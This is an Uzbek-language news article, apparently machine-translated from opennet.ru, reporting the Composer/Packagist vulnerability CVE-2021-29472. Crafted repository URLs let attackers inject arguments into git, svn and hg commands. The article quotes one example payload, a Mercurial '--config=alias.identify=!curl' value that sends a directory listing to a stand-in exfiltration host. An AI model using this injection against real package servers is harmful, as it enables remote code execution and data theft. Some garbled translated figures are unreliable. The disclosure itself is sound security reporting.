Packagist PHP repozitoriyasini buzishga imkon beruvchi Composer paket menejeridagi zaiflik

Composer bog'liqlik menejerida muhim zaiflik (CVE-2021-29472) aniqlandi, bu manba kodini yuklab olish manzilini ko'rsatadigan maxsus formatlangan URL qiymatiga ega paketni qayta ishlashda tizimda o'zboshimchalik bilan buyruqlarni bajarishga imkon beradi. Muammo Git, Subversion va Mercurial manbalarni boshqarish tizimlaridan foydalanganda ishlatiladigan GitDriver, SvnDriver va HgDriver komponentlarida yuzaga keladi. Zaiflik Composer 1.10.22 va 2.0.13 versiyalarida hal qilindi.

Ayniqsa, muammo birinchi navbatda Composer’ning standart paketlar omboriga ta’sir qilgani, PHP ishlab chiquvchilari uchun 306 1.4 ta paketni o‘z ichiga olgan va oyiga XNUMX milliarddan ortiq yuklab olishga xizmat qiluvchi Packagist. Tajriba shuni ko'rsatdiki, agar muammo haqida ma'lumot mavjud bo'lsa, tajovuzkorlar Packagist infratuzilmasi ustidan nazoratni qo'lga kiritishi va xizmat ko'rsatuvchilarning hisob ma'lumotlarini to'xtatib qo'yishi yoki paketni yuklab olishni uchinchi tomon serveriga yo'naltirishi, orqa eshikni almashtirish uchun zararli o'zgarishlar bilan paket variantlarini etkazib berishni tashkil qilishi mumkinligini ko'rsatdi. qaramlikni o'rnatish jarayonida.

Yakuniy foydalanuvchilar uchun xavf shundan iboratki, composer.json tarkibi odatda foydalanuvchi tomonidan belgilanadi va manba havolalari odatda ishonchli bo‘lgan uchinchi tomon omborlariga kirishda uzatiladi. Asosiy zarba Packagist.org ombori va foydalanuvchilar tomonidan olingan ma'lumotlarni uzatish bilan Composer deb nomlangan Private Packagist xizmatiga tushdi. Hujumchilar maxsus ishlab chiqilgan paketni joylashtirish orqali Packagist serverlarida o'z kodlarini bajarishlari mumkin edi.

Packagist jamoasi zaiflik haqida xabar berilgandan keyin 12 soat ichida zaiflikni tuzatdi. Tadqiqotchilar 22-aprel kuni Packagist ishlab chiquvchilarini xususiy ravishda xabardor qilishdi va muammo shu kuniyoq hal qilindi. 27-aprel kuni Composer-ning zaifliklarga bag'ishlangan ommaviy yangilanishi e'lon qilindi, tafsilotlar 28-aprelda oshkor qilindi. Packagist serverlaridagi jurnallar tekshiruvi zaiflik bilan bog'liq hech qanday shubhali faoliyatni aniqlamadi.

Muammo ildiz composer.json fayli va manba yuklab olish havolalaridagi URL tekshirish kodidagi xatolik tufayli yuzaga kelgan. Xato kodda 2011 yil noyabr oyidan beri mavjud. Packagist ma'lum bir manba boshqaruv tizimiga bog'lanmasdan kod yuklashni tashkil qilish uchun maxsus qatlamlardan foydalanadi, ular "fromShellCommandline" ni chaqirish va buyruq qatori argumentlarini uzatish orqali amalga oshiriladi. Masalan, git uchun "git ls-remote -heads $URL" buyrug'i chaqiriladi, bu erda URL "ProcessExecutor::escape($url)" usuli yordamida qayta ishlanadi, "$(. ..)" yoki "` ...`".

Muammoning mohiyati shundan iboratki, ProcessExecutor::escape usuli “—” ketma-ketligidan qochib qutula olmadi, bu esa URL manzilida qo‘shimcha chaqiruv parametrlarini ko‘rsatishga imkon berdi. Bunday qochish GitDriver.php, SvnDriver.php va HgDriver.php drayverlarida yo'q edi. GitDriver.php hujumiga "git ls-remote" buyrug'i yo'ldan keyin qo'shimcha argumentlarni ko'rsatishni qo'llab-quvvatlamasligi tufayli to'sqinlik qildi. HgDriver.php ga hujum "--config" parametrini "hq" yordam dasturiga o'tkazish orqali mumkin bo'ldi, bu sizga "alias.identify" sozlamasini o'zgartirish orqali istalgan buyruqning bajarilishini tashkil qilish imkonini beradi. Masalan, curl yordam dasturini ishga tushirish orqali kodni yuklab olish va bajarish uchun quyidagilarni belgilashingiz mumkin: —config=alias.identify=!curl http://exfiltration-host.tld —maʼlumotlar “$(ls -alh)”

Packagist-ga o'xshash URL-manzilga ega sinov paketini joylashtirish orqali tadqiqotchilar, joylashtirishdan so'ng, ularning serveri joriy katalogdagi fayllar ro'yxatini o'z ichiga olgan AWS-dagi Packagist serverlaridan biridan HTTP so'rovini olganligini tasdiqladi.

Manba: opennet.ru

a Izoh qo'shish